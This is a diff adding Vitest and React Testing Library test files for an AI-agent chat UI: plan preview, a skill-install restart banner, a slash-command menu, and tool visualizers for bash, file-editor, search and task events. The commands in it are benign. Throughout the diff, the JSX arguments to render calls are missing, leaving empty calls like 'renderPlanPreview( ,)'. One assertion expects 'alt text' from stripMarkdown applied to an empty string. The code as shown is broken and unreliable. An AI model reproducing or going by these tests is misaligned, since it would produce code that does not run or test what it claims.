+ const planContent = `# Heading 1
+## Heading 2
+- List item 1
+- List item 2
+
+**Bold text** and *italic text*`;
+
+ const { container } = renderPlanPreview(
+ ,
+ );
+
+ expect(container.textContent).toContain("Heading 1");
+ expect(container.textContent).toContain("Heading 2");
+ });
+
+ it("should use planHeadings components for h1 headings", () => {
+ // Arrange
+ const planContent = "# Main Title";
+
+ // Act
+ const { container } = renderPlanPreview(
+ ,
+ );
+
+ // Assert
+ const h1 = container.querySelector("h1");
+ expect(h1).toBeInTheDocument();
+ expect(h1).toHaveTextContent("Main Title");
+ });
+
+ it("should use planHeadings components for h2 headings", () => {
+ // Arrange
+ const planContent = "## Section Title";
+
+ // Act
+ const { container } = renderPlanPreview(
+ ,
+ );
+
+ // Assert
+ const h2 = container.querySelector("h2");
+ expect(h2).toBeInTheDocument();
+ expect(h2).toHaveTextContent("Section Title");
+ });
+
+ it("should use planHeadings components for h3 headings", () => {
+ // Arrange
+ const planContent = "### Subsection Title";
+
+ // Act
+ const { container } = renderPlanPreview(
+ ,
+ );
+
+ // Assert
+ const h3 = container.querySelector("h3");
+ expect(h3).toBeInTheDocument();
+ expect(h3).toHaveTextContent("Subsection Title");
+ });
+
+ it("should use planHeadings components for all heading levels", () => {
+ // Arrange
+ const planContent = `# H1 Title
+## H2 Title
+### H3 Title
+#### H4 Title
+##### H5 Title
+###### H6 Title`;
+
+ // Act
+ const { container } = renderPlanPreview(
+ ,
+ );
+
+ // Assert
+ expect(container.querySelector("h1")).toBeInTheDocument();
+ expect(container.querySelector("h2")).toBeInTheDocument();
+ expect(container.querySelector("h3")).toBeInTheDocument();
+ expect(container.querySelector("h4")).toBeInTheDocument();
+ expect(container.querySelector("h5")).toBeInTheDocument();
+ expect(container.querySelector("h6")).toBeInTheDocument();
+ });
+
+ it("should call selectTab with 'planner' when View button is clicked", async () => {
+ const user = userEvent.setup();
+ const planContent = "Plan content";
+ const conversationId = "test-conversation-id";
+
+ // Arrange: Set up initial state
+ useConversationStore.setState({
+ selectedTab: null,
+ isRightPanelShown: false,
+ hasRightPanelToggled: false,
+ });
+
+ renderPlanPreview( );
+
+ // Act: Click the View button
+ const viewButton = screen.getByTestId("plan-preview-view-button");
+ await user.click(viewButton);
+
+ // Assert: selectTab was called with 'planner' and the drawer opened.
+ // Opening the drawer also mirrors `rightPanelShown` into the
+ // conversation's localStorage blob, alongside the selected tab.
+ expect(useConversationStore.getState().selectedTab).toBe("planner");
+ expect(useConversationStore.getState().hasRightPanelToggled).toBe(true);
+
+ const storedState = JSON.parse(
+ localStorage.getItem(`conversation-state-${conversationId}`)!,
+ );
+ expect(storedState.selectedTab).toBe("planner");
+ expect(storedState.rightPanelShown).toBe(true);
+ });
+
+ it("should call selectTab with 'planner' when Read more button is clicked", async () => {
+ const user = userEvent.setup();
+ const longContent = "A".repeat(350);
+ const conversationId = "test-conversation-id";
+
+ // Arrange: Set up initial state
+ useConversationStore.setState({
+ selectedTab: null,
+ isRightPanelShown: false,
+ hasRightPanelToggled: false,
+ });
+
+ renderPlanPreview( );
+
+ // Act: Click the Read more button
+ const readMoreButton = screen.getByTestId("plan-preview-read-more-button");
+ await user.click(readMoreButton);
+
+ // Assert: selectTab was called with 'planner' and the drawer opened.
+ // Opening the drawer also mirrors `rightPanelShown` into the
+ // conversation's localStorage blob, alongside the selected tab.
+ expect(useConversationStore.getState().selectedTab).toBe("planner");
+ expect(useConversationStore.getState().hasRightPanelToggled).toBe(true);
+
+ const storedState = JSON.parse(
+ localStorage.getItem(`conversation-state-${conversationId}`)!,
+ );
+ expect(storedState.selectedTab).toBe("planner");
+ expect(storedState.rightPanelShown).toBe(true);
+ });
+});
diff --git a/__tests__/components/features/chat/skill-install-restart-banner.test.tsx b/__tests__/components/features/chat/skill-install-restart-banner.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b97cc2ac13cae67cedcb1faf82050e637d6fb801
--- /dev/null
+++ b/__tests__/components/features/chat/skill-install-restart-banner.test.tsx
@@ -0,0 +1,188 @@
+import { act, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { SkillInstallRestartBanner } from "#/components/features/chat/skill-install-restart-banner";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import { useEventStore } from "#/stores/use-event-store";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import type {
+ CmdOutputMetadata,
+ ExecuteBashObservation,
+ ObservationEvent,
+} from "#/types/agent-server/core";
+
+// The restart mutation resolves the launch profile through these services
+// before creating the conversation; stub them so it deterministically takes
+// the legacy agent_settings path (no active agent profile).
+vi.mock("#/api/agent-profiles-service/agent-profiles-service.api", () => ({
+ __esModule: true,
+ default: {
+ listProfiles: vi
+ .fn()
+ .mockResolvedValue({ profiles: [], active_agent_profile_id: null }),
+ },
+ WELL_KNOWN_DEFAULT_AGENT_PROFILE_NAME: "default",
+}));
+vi.mock("#/api/profiles-service/profiles-service.api", () => ({
+ __esModule: true,
+ default: {
+ listProfiles: vi
+ .fn()
+ .mockResolvedValue({ profiles: [], active_profile: null }),
+ },
+}));
+vi.mock("#/api/plugins-management-service", () => ({
+ __esModule: true,
+ default: { listInstalledPlugins: vi.fn().mockResolvedValue([]) },
+}));
+
+const CONVERSATION_ID = "test-conversation-id";
+
+const makeInstallEvent = (
+ id: string,
+ skill = "codereview",
+ workspace = "/tmp/demo-ws",
+): ObservationEvent => ({
+ id,
+ timestamp: new Date().toISOString(),
+ source: "environment",
+ tool_name: "execute_bash",
+ tool_call_id: `call-${id}`,
+ action_id: `action-${id}`,
+ observation: {
+ kind: "ExecuteBashObservation",
+ content: [
+ {
+ type: "text",
+ text: `✅ Successfully installed '${skill}' to ${workspace}/.agents/skills/${skill}`,
+ },
+ ],
+ command: "python3 fetch_skill.py",
+ exit_code: 0,
+ error: false,
+ timeout: false,
+ metadata: {} as CmdOutputMetadata,
+ },
+});
+
+const addInstallEvent = (id: string) =>
+ act(() => {
+ useEventStore.getState().addEvent(makeInstallEvent(id));
+ });
+
+const renderBanner = () =>
+ renderWithProviders(
+ ,
+ );
+
+describe("SkillInstallRestartBanner", () => {
+ beforeEach(() => {
+ // Load the conversation into the (global) event store so installs are
+ // attributed to the rendered conversation.
+ useEventStore.getState().clearEventsForConversation(CONVERSATION_ID);
+ });
+
+ afterEach(() => {
+ __resetActiveStoreForTests();
+ });
+
+ it("renders nothing when the conversation has no skill installs", () => {
+ renderBanner();
+
+ expect(
+ screen.queryByTestId("skill-install-restart-banner"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("shows the banner after a successful skill install observation", async () => {
+ renderBanner();
+
+ addInstallEvent("evt-1");
+
+ expect(
+ await screen.findByTestId("skill-install-restart-banner"),
+ ).toBeInTheDocument();
+ });
+
+ it("hides the banner when dismissed", async () => {
+ renderBanner();
+ addInstallEvent("evt-1");
+ await screen.findByTestId("skill-install-restart-banner");
+
+ await userEvent.click(screen.getByTestId("skill-install-restart-dismiss"));
+
+ expect(
+ screen.queryByTestId("skill-install-restart-banner"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("resurfaces the banner when a new install happens after a dismissal", async () => {
+ renderBanner();
+ addInstallEvent("evt-1");
+ await screen.findByTestId("skill-install-restart-banner");
+ await userEvent.click(screen.getByTestId("skill-install-restart-dismiss"));
+
+ addInstallEvent("evt-2");
+
+ expect(
+ await screen.findByTestId("skill-install-restart-banner"),
+ ).toBeInTheDocument();
+ });
+
+ it("renders nothing on a cloud backend", () => {
+ setRegisteredBackends([
+ {
+ id: "cloud-1",
+ name: "Cloud",
+ host: "https://app.all-hands.dev",
+ apiKey: "key",
+ kind: "cloud",
+ },
+ ]);
+ setActiveSelection({ backendId: "cloud-1" });
+ renderWithProviders(
+
+
+ ,
+ );
+
+ addInstallEvent("evt-1");
+
+ expect(
+ screen.queryByTestId("skill-install-restart-banner"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("starts a new conversation in the install workspace and navigates to it", async () => {
+ const createConversationSpy = vi
+ .spyOn(AgentServerConversationService, "createConversation")
+ .mockResolvedValue({
+ id: "task-1",
+ app_conversation_id: "new-conv-1",
+ agent_server_url: null,
+ } as never);
+ const navigate = vi.fn();
+ renderWithProviders(
+ ,
+ { navigation: { navigate } },
+ );
+ addInstallEvent("evt-1");
+ await screen.findByTestId("skill-install-restart-banner");
+
+ await userEvent.click(screen.getByTestId("skill-install-restart-action"));
+
+ await waitFor(() => {
+ const call = createConversationSpy.mock.lastCall;
+ // The parsed install root is reused directly as the launch workspace.
+ expect(call?.[0]?.workingDirOverride).toBe("/tmp/demo-ws");
+ expect(call?.[0]?.workspaceMode).toBe("local_repo");
+ expect(navigate).toHaveBeenCalledWith("/conversations/new-conv-1");
+ });
+ });
+});
diff --git a/__tests__/components/features/chat/slash-command-menu.test.tsx b/__tests__/components/features/chat/slash-command-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..2423dc64834bd013c50c4e9df70d8dd0d26cbe38
--- /dev/null
+++ b/__tests__/components/features/chat/slash-command-menu.test.tsx
@@ -0,0 +1,227 @@
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeAll } from "vitest";
+import { renderWithProviders } from "test-utils";
+import {
+ SlashCommandMenu,
+ getSkillDescription,
+ stripMarkdown,
+} from "#/components/features/chat/components/slash-command-menu";
+import { SlashCommandItem } from "#/hooks/chat/use-slash-command";
+
+// jsdom does not implement scrollIntoView
+beforeAll(() => {
+ Element.prototype.scrollIntoView = vi.fn();
+});
+
+const makeItem = (
+ name: string,
+ command: string,
+ content: string = "",
+): SlashCommandItem => ({
+ skill: {
+ name,
+ type: "agentskills" as const,
+ source: null,
+ content,
+ triggers: [command],
+ },
+ command,
+});
+
+const defaultItems: SlashCommandItem[] = [
+ makeItem("code-search", "/code-search", "Search code semantically."),
+ makeItem("random-number", "/random-number", "Generate a random number."),
+ makeItem(
+ "init",
+ "/init",
+ "---\nname: init\ndescription: Initialize a project\n---\n## Usage\nRun /init to start.",
+ ),
+];
+
+describe("SlashCommandMenu", () => {
+ it("renders nothing when items is empty", () => {
+ const { container } = renderWithProviders(
+ ,
+ );
+ expect(container.innerHTML).toBe("");
+ });
+
+ it("renders all items with slash commands as primary text", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByText("/code-search")).toBeInTheDocument();
+ expect(screen.getByText("/random-number")).toBeInTheDocument();
+ expect(screen.getByText("/init")).toBeInTheDocument();
+ });
+
+ it("marks the selected item with aria-selected", () => {
+ renderWithProviders(
+ ,
+ );
+
+ const options = screen.getAllByRole("option");
+ expect(options[0]).toHaveAttribute("aria-selected", "false");
+ expect(options[1]).toHaveAttribute("aria-selected", "true");
+ expect(options[2]).toHaveAttribute("aria-selected", "false");
+ });
+
+ it("calls onSelect on mouseDown", async () => {
+ const onSelect = vi.fn();
+ const user = userEvent.setup();
+
+ renderWithProviders(
+ ,
+ );
+
+ const options = screen.getAllByRole("option");
+ await user.click(options[1]);
+
+ expect(onSelect).toHaveBeenCalledWith(defaultItems[1]);
+ });
+
+ it("displays skill descriptions", () => {
+ renderWithProviders(
+ ,
+ );
+
+ // First item: first-sentence extraction
+ expect(screen.getByText("Search code semantically.")).toBeInTheDocument();
+
+ // Third item: frontmatter description extraction
+ expect(screen.getByText("Initialize a project")).toBeInTheDocument();
+ });
+
+ it("has an accessible listbox role and translated aria-label", () => {
+ renderWithProviders(
+ ,
+ );
+
+ const listbox = screen.getByRole("listbox");
+ expect(listbox).toBeInTheDocument();
+ // In test env, translation key is returned as-is
+ expect(listbox).toHaveAttribute("aria-label", "CHAT_INTERFACE$COMMANDS");
+ });
+});
+
+describe("getSkillDescription", () => {
+ it("extracts description from YAML frontmatter", () => {
+ const content =
+ "---\nname: test\ndescription: A test skill\n---\n## Usage\nDetails here.";
+ expect(getSkillDescription(content)).toBe("A test skill");
+ });
+
+ it("strips double quotes from frontmatter description", () => {
+ const content = '---\ndescription: "Quoted description"\n---\nBody.';
+ expect(getSkillDescription(content)).toBe("Quoted description");
+ });
+
+ it("strips single quotes from frontmatter description", () => {
+ const content = "---\ndescription: 'Single quoted'\n---\nBody.";
+ expect(getSkillDescription(content)).toBe("Single quoted");
+ });
+
+ it("falls back to first meaningful line when no frontmatter", () => {
+ const content = "# Title\n\nThis is a description.";
+ expect(getSkillDescription(content)).toBe("This is a description.");
+ });
+
+ it("falls back to first sentence from body when frontmatter has no description", () => {
+ const content =
+ "---\nname: test\ntriggers: ['/test']\n---\nA helpful tool. It does things.";
+ expect(getSkillDescription(content)).toBe("A helpful tool.");
+ });
+
+ it("skips headers and empty lines", () => {
+ const content = "\n\n# Header\n## Subheader\n\nActual content here";
+ expect(getSkillDescription(content)).toBe("Actual content here");
+ });
+
+ it("returns null for empty content", () => {
+ expect(getSkillDescription("")).toBeNull();
+ });
+
+ it("returns null for content with only headers", () => {
+ expect(getSkillDescription("# Title\n## Subtitle")).toBeNull();
+ });
+
+ it("returns the whole line when there is no sentence-ending punctuation", () => {
+ const content = "A description without punctuation";
+ expect(getSkillDescription(content)).toBe(
+ "A description without punctuation",
+ );
+ });
+
+ it("strips markdown from frontmatter description", () => {
+ const content =
+ '---\ndescription: "A **bold** and *italic* description"\n---\nBody.';
+ expect(getSkillDescription(content)).toBe(
+ "A bold and italic description",
+ );
+ });
+
+ it("strips markdown from body fallback", () => {
+ const content = "# Title\n\nUse `code` and [links](http://example.com).";
+ expect(getSkillDescription(content)).toBe("Use code and links.");
+ });
+});
+
+describe("stripMarkdown", () => {
+ it("strips bold syntax", () => {
+ expect(stripMarkdown("a **bold** word")).toBe("a bold word");
+ });
+
+ it("strips italic syntax", () => {
+ expect(stripMarkdown("an *italic* word")).toBe("an italic word");
+ });
+
+ it("strips bold-italic syntax", () => {
+ expect(stripMarkdown("***both***")).toBe("both");
+ });
+
+ it("strips inline code", () => {
+ expect(stripMarkdown("run `npm test` now")).toBe("run npm test now");
+ });
+
+ it("strips links", () => {
+ expect(stripMarkdown("see [docs](http://example.com)")).toBe("see docs");
+ });
+
+ it("strips images", () => {
+ expect(stripMarkdown("")).toBe("alt text");
+ });
+
+ it("strips strikethrough", () => {
+ expect(stripMarkdown("~~removed~~")).toBe("removed");
+ });
+
+ it("strips underscore emphasis", () => {
+ expect(stripMarkdown("__bold__ and _italic_")).toBe("bold and italic");
+ });
+
+ it("returns plain text unchanged", () => {
+ expect(stripMarkdown("plain text")).toBe("plain text");
+ });
+});
diff --git a/__tests__/components/features/chat/tool-visualizers/bash/bash.test.tsx b/__tests__/components/features/chat/tool-visualizers/bash/bash.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..61138d058efe87505d39c3625770616875235379
--- /dev/null
+++ b/__tests__/components/features/chat/tool-visualizers/bash/bash.test.tsx
@@ -0,0 +1,98 @@
+import { describe, it, expect } from "vitest";
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { SecurityRisk } from "#/types/agent-server/core";
+import { bashVisualizer } from "#/components/features/chat/tool-visualizers/bash/bash";
+import { MAX_CONTENT_LENGTH } from "#/components/conversation-events/chat/event-content-helpers/shared";
+import {
+ renderVisualizer,
+ bashAction,
+ bashObservation,
+ terminalObservation,
+} from "../test-utils";
+
+const Body = bashVisualizer.Body;
+
+describe("bashVisualizer", () => {
+ it("renders the command in the action card", () => {
+ const { container } = renderVisualizer(
+ ,
+ );
+ expect(container).toHaveTextContent("echo hello");
+ });
+
+ it("warns about high-risk actions", () => {
+ renderVisualizer(
+ ,
+ );
+ expect(screen.getByText("SECURITY$HIGH_RISK")).toBeInTheDocument();
+ });
+
+ it("shows output without an exit badge on success", () => {
+ const { container } = renderVisualizer(
+ ,
+ );
+ expect(container).toHaveTextContent("hello world");
+ expect(screen.queryByText("OBSERVATION$EXIT_CODE")).not.toBeInTheDocument();
+ });
+
+ it("badges a non-zero exit code (error state)", () => {
+ renderVisualizer( );
+ expect(screen.getByText("OBSERVATION$EXIT_CODE")).toBeInTheDocument();
+ expect(screen.getByText("boom")).toBeInTheDocument();
+ });
+
+ it("shows a placeholder when there is no output", () => {
+ const { container } = renderVisualizer(
+ ,
+ );
+ expect(container).toHaveTextContent("OBSERVATION$COMMAND_NO_OUTPUT");
+ });
+
+ it("exposes a copy button for the command and the output", () => {
+ renderVisualizer(
+ ,
+ );
+ // One for the command code block, one for the output pane.
+ expect(screen.getAllByTestId("copy-to-clipboard")).toHaveLength(2);
+ });
+
+ it("has no copy button when there is no output to copy", () => {
+ renderVisualizer( );
+ // Only the command's copy button remains.
+ expect(screen.getAllByTestId("copy-to-clipboard")).toHaveLength(1);
+ });
+
+ it("expands long command output inline", async () => {
+ const user = userEvent.setup();
+ const longOutput = `${"a".repeat(MAX_CONTENT_LENGTH)}tail-marker`;
+ const { container } = renderVisualizer(
+ ,
+ );
+
+ expect(container).not.toHaveTextContent("tail-marker");
+
+ await user.click(screen.getByRole("button", { name: "BUTTON$EXPAND" }));
+
+ expect(container).toHaveTextContent("tail-marker");
+ expect(
+ screen.getByRole("button", { name: "BUTTON$COLLAPSE" }),
+ ).toBeInTheDocument();
+
+ await user.click(screen.getByRole("button", { name: "BUTTON$COLLAPSE" }));
+
+ expect(container).not.toHaveTextContent("tail-marker");
+ });
+
+ it("renders command and output for the terminal tool", () => {
+ const { container } = renderVisualizer(
+ ,
+ );
+ expect(container).toHaveTextContent("wc -l");
+ expect(container).toHaveTextContent("362 index.html");
+ });
+});
diff --git a/__tests__/components/features/chat/tool-visualizers/dispatcher.test.tsx b/__tests__/components/features/chat/tool-visualizers/dispatcher.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5ce20c529727b6a36954581d3e64907483a1ac68
--- /dev/null
+++ b/__tests__/components/features/chat/tool-visualizers/dispatcher.test.tsx
@@ -0,0 +1,41 @@
+import { describe, it, expect } from "vitest";
+import { ActionEvent, SecurityRisk } from "#/types/agent-server/core";
+import { resolveVisualizerBody } from "#/components/features/chat/tool-visualizers/dispatcher";
+import { bashAction, grepObservation, terminalObservation } from "./test-utils";
+
+describe("resolveVisualizerBody", () => {
+ it("returns a body for a migrated action kind", () => {
+ expect(resolveVisualizerBody(bashAction("ls"))).not.toBeNull();
+ });
+
+ it("returns a body for a migrated observation kind", () => {
+ expect(
+ resolveVisualizerBody(grepObservation({ pattern: "x" })),
+ ).not.toBeNull();
+ });
+
+ it("returns a body for the terminal tool (shares the bash visualizer)", () => {
+ expect(resolveVisualizerBody(terminalObservation("ok", 0))).not.toBeNull();
+ });
+
+ it("returns null for an unmigrated tool so the markdown fallback runs", () => {
+ const thinkAction: ActionEvent = {
+ id: "t1",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "agent",
+ thought: [],
+ thinking_blocks: [],
+ action: { kind: "ThinkAction", thought: "hmm" },
+ tool_name: "think",
+ tool_call_id: "c1",
+ tool_call: {
+ id: "c1",
+ type: "function",
+ function: { name: "think", arguments: "{}" },
+ },
+ llm_response_id: "r1",
+ security_risk: SecurityRisk.LOW,
+ };
+ expect(resolveVisualizerBody(thinkAction)).toBeNull();
+ });
+});
diff --git a/__tests__/components/features/chat/tool-visualizers/file-editor/file-editor.test.tsx b/__tests__/components/features/chat/tool-visualizers/file-editor/file-editor.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..0f018a1fa2428178d192193819bbaaee0310a959
--- /dev/null
+++ b/__tests__/components/features/chat/tool-visualizers/file-editor/file-editor.test.tsx
@@ -0,0 +1,309 @@
+import { beforeEach, describe, it, expect } from "vitest";
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import ConversationService from "#/api/conversation-service/conversation-service.api";
+import { fileEditorVisualizer } from "#/components/features/chat/tool-visualizers/file-editor/file-editor";
+import { useConversationStore } from "#/stores/conversation-store";
+import { useFilesTabStore } from "#/stores/files-tab-store";
+import {
+ renderVisualizer,
+ fileEditorAction,
+ fileEditorObservation,
+} from "../test-utils";
+
+const Body = fileEditorVisualizer.Body;
+
+describe("fileEditorVisualizer", () => {
+ beforeEach(() => {
+ ConversationService.setCurrentConversation({
+ id: "test-conversation-id",
+ workspace: { working_dir: "/workspace" },
+ } as never);
+ useConversationStore.setState({
+ hasRightPanelToggled: false,
+ selectedTab: "terminal",
+ });
+ useFilesTabStore.setState({
+ selectedPath: null,
+ selectedConversationId: null,
+ openPaths: [],
+ });
+ });
+
+ it("shows path and content for a create action", () => {
+ const { container } = renderVisualizer(
+ ,
+ );
+ expect(container).toHaveTextContent("/workspace/app.ts");
+ expect(container).toHaveTextContent("const x = 1;");
+ });
+
+ it("shows the path with a line range for a view action", () => {
+ const { container } = renderVisualizer(
+ ,
+ );
+ expect(container).toHaveTextContent("/workspace/app.ts:1-10");
+ });
+
+ it("shows the file snippet the agent saw for a view observation", () => {
+ const { container } = renderVisualizer(
+ ,
+ );
+ expect(container).toHaveTextContent("const x = 1;");
+ });
+
+ it("renders a diff for an edit observation", () => {
+ const { container } = renderVisualizer(
+ ,
+ );
+ expect(container).toHaveTextContent("- OLD");
+ expect(container).toHaveTextContent("+ NEW");
+ });
+
+ it("renders a diff when clearing a file (new_content is an empty string)", () => {
+ const { container } = renderVisualizer(
+ ,
+ );
+ // The empty `new_content` must not short-circuit the diff to the fallback.
+ expect(container).toHaveTextContent("- keep");
+ expect(container).toHaveTextContent("- remove me");
+ });
+
+ it("renders a diff when inserting into an empty file (old_content is an empty string)", () => {
+ const { container } = renderVisualizer(
+ ,
+ );
+ expect(container).toHaveTextContent("+ first line");
+ expect(container).toHaveTextContent("+ second line");
+ });
+
+ it("renders the inserted text for an in-flight insert action (no old_str)", () => {
+ const { container } = renderVisualizer(
+ ,
+ );
+ // Inserts carry `new_str` only; the card must show it, not just the path.
+ expect(container).toHaveTextContent("/workspace/app.ts");
+ expect(container).toHaveTextContent("+ inserted line");
+ });
+
+ it("renders a diff for an in-flight str_replace action", () => {
+ const { container } = renderVisualizer(
+ ,
+ );
+ expect(container).toHaveTextContent("- OLD");
+ expect(container).toHaveTextContent("+ NEW");
+ });
+
+ it("renders the error message for a failed edit (error state)", () => {
+ renderVisualizer(
+ ,
+ );
+ expect(screen.getByText("No replacement performed")).toBeInTheDocument();
+ });
+
+ it("opens the generated file in the right drawer when its chip is clicked", async () => {
+ const user = userEvent.setup();
+ renderVisualizer(
+ ,
+ );
+
+ await user.click(screen.getByRole("button", { name: "/workspace/app.ts" }));
+
+ expect(useFilesTabStore.getState()).toMatchObject({
+ selectedPath: "app.ts",
+ selectedConversationId: "test-conversation-id",
+ });
+ expect(useConversationStore.getState()).toMatchObject({
+ hasRightPanelToggled: true,
+ selectedTab: "files",
+ });
+ });
+
+ it("keeps markdown view observations as a CodeBlock, not a rich preview", () => {
+ const { container } = renderVisualizer(
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("markdown-file-preview"),
+ ).not.toBeInTheDocument();
+ expect(container).toHaveTextContent("# README");
+ });
+
+ it("renders a height-clipped markdown preview with a View bar for .md creates", async () => {
+ const user = userEvent.setup();
+ const markdown = [
+ "# Agent Canvas Demo",
+ "",
+ "This report was generated by the agent.",
+ "",
+ "## Highlights",
+ "",
+ "- First point",
+ "- Second point",
+ "- Third point",
+ ].join("\n");
+
+ renderVisualizer(
+ ,
+ );
+
+ expect(screen.getByTestId("markdown-file-preview")).toBeInTheDocument();
+ expect(screen.getByTestId("markdown-file-preview-content")).toHaveClass(
+ "max-h-40",
+ "overflow-y-auto",
+ "custom-scrollbar-always",
+ );
+ expect(screen.getByText("Agent Canvas Demo")).toBeInTheDocument();
+ expect(screen.getByText("canvas.md")).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("markdown-file-preview-view"));
+
+ expect(useFilesTabStore.getState()).toMatchObject({
+ selectedPath: "canvas.md",
+ selectedConversationId: "test-conversation-id",
+ });
+ expect(useConversationStore.getState()).toMatchObject({
+ hasRightPanelToggled: true,
+ selectedTab: "files",
+ });
+ });
+
+ it("keeps non-markdown creates as a full code block", () => {
+ const { container } = renderVisualizer(
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("markdown-file-preview"),
+ ).not.toBeInTheDocument();
+ expect(container).toHaveTextContent("const x = 1;");
+ });
+
+ it("shows an in-flight markdown create preview without a View affordance", () => {
+ renderVisualizer(
+ ,
+ );
+
+ expect(screen.getByTestId("markdown-file-preview")).toBeInTheDocument();
+ expect(screen.getByText("Draft")).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("markdown-file-preview-view"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("stores a workspace-relative path when View opens an absolute .md create", async () => {
+ const user = userEvent.setup();
+
+ renderVisualizer(
+ ,
+ );
+
+ await user.click(screen.getByTestId("markdown-file-preview-view"));
+
+ expect(useFilesTabStore.getState()).toMatchObject({
+ selectedPath: "docs/report.md",
+ selectedConversationId: "test-conversation-id",
+ });
+ });
+});
diff --git a/__tests__/components/features/chat/tool-visualizers/search/search.test.tsx b/__tests__/components/features/chat/tool-visualizers/search/search.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..2ce1e3ab15441bc9a58a10cbe745262cb9584e45
--- /dev/null
+++ b/__tests__/components/features/chat/tool-visualizers/search/search.test.tsx
@@ -0,0 +1,71 @@
+import { describe, it, expect } from "vitest";
+import { screen } from "@testing-library/react";
+import { searchVisualizer } from "#/components/features/chat/tool-visualizers/search/search";
+import {
+ renderVisualizer,
+ grepAction,
+ grepObservation,
+ globObservation,
+} from "../test-utils";
+
+const Body = searchVisualizer.Body;
+
+describe("searchVisualizer", () => {
+ it("shows search params on the action card", () => {
+ const { container } = renderVisualizer(
+ ,
+ );
+ expect(screen.getByText("COMMON$PATTERN")).toBeInTheDocument();
+ expect(container).toHaveTextContent("TODO");
+ expect(container).toHaveTextContent("*.ts");
+ });
+
+ it("lists matches with a count for a grep observation", () => {
+ renderVisualizer(
+ ,
+ );
+ expect(screen.getByText("COMMON$RESULTS")).toBeInTheDocument();
+ expect(screen.getByText("a.ts")).toBeInTheDocument();
+ expect(screen.getByText("b.ts")).toBeInTheDocument();
+ });
+
+ it("shows a no-results message when empty", () => {
+ renderVisualizer(
+ ,
+ );
+ expect(screen.getByText("COMMON$NO_RESULTS")).toBeInTheDocument();
+ });
+
+ it("renders the error text when the search failed (error state)", () => {
+ renderVisualizer(
+ ,
+ );
+ expect(screen.getByText("invalid regex")).toBeInTheDocument();
+ });
+
+ it("flags truncated glob results", () => {
+ renderVisualizer(
+ ,
+ );
+ expect(screen.getByText("COMMON$TRUNCATED")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/chat/tool-visualizers/task/task.test.tsx b/__tests__/components/features/chat/tool-visualizers/task/task.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e9d1e2cee87bfd6e85875bebbb975a088303300a
--- /dev/null
+++ b/__tests__/components/features/chat/tool-visualizers/task/task.test.tsx
@@ -0,0 +1,92 @@
+import { describe, it, expect } from "vitest";
+import { screen } from "@testing-library/react";
+import { taskVisualizer } from "#/components/features/chat/tool-visualizers/task/task";
+import { renderVisualizer, taskAction, taskObservation } from "../test-utils";
+
+const Body = taskVisualizer.Body;
+
+describe("taskVisualizer", () => {
+ it("shows the subagent and query while the observation is pending", () => {
+ renderVisualizer(
+ ,
+ );
+ // Subagent comes from the action; no task id / result yet.
+ expect(screen.getByText("TASK$SUBAGENT")).toBeInTheDocument();
+ expect(screen.getByText("code-explorer")).toBeInTheDocument();
+ expect(screen.getByText("TASK$QUERY")).toBeInTheDocument();
+ expect(screen.getByText("Summarize the README")).toBeInTheDocument();
+ expect(screen.queryByText("TASK$TASK_ID")).not.toBeInTheDocument();
+ expect(screen.queryByText("TASK$RESULT")).not.toBeInTheDocument();
+ });
+
+ it("keeps showing the query alongside the result once both are present", () => {
+ renderVisualizer(
+ ,
+ );
+ expect(screen.getByText("TASK$QUERY")).toBeInTheDocument();
+ expect(screen.getByText("Summarize the README")).toBeInTheDocument();
+ expect(screen.getByText("TASK$RESULT")).toBeInTheDocument();
+ expect(screen.getByText("All done.")).toBeInTheDocument();
+ });
+
+ it("shows the subagent and task id", () => {
+ renderVisualizer(
+ ,
+ );
+ expect(screen.getByText("TASK$SUBAGENT")).toBeInTheDocument();
+ expect(screen.getByText("code-explorer")).toBeInTheDocument();
+ expect(screen.getByText("TASK$TASK_ID")).toBeInTheDocument();
+ expect(screen.getByText("task_00000001")).toBeInTheDocument();
+ });
+
+ it("renders the answer as formatted markdown", () => {
+ const { container } = renderVisualizer(
+ ,
+ );
+ expect(screen.getByText("TASK$RESULT")).toBeInTheDocument();
+ // Markdown headings render as real heading elements, not raw "## ..." text.
+ const heading = container.querySelector("h2");
+ expect(heading).toHaveTextContent("README Summary");
+ expect(container).toHaveTextContent("Licensed under Apache.");
+ });
+
+ it("omits the result section when there is no text content", () => {
+ renderVisualizer( );
+ expect(screen.queryByText("TASK$RESULT")).not.toBeInTheDocument();
+ });
+
+ it("exposes a copy button for the result", () => {
+ renderVisualizer(
+ ,
+ );
+ expect(screen.getByTestId("copy-to-clipboard")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/chat/tool-visualizers/test-utils.tsx b/__tests__/components/features/chat/tool-visualizers/test-utils.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..f6be38ff013a81840616e43f6734cbc49b173993
--- /dev/null
+++ b/__tests__/components/features/chat/tool-visualizers/test-utils.tsx
@@ -0,0 +1,217 @@
+import React from "react";
+import { renderWithProviders } from "test-utils";
+import {
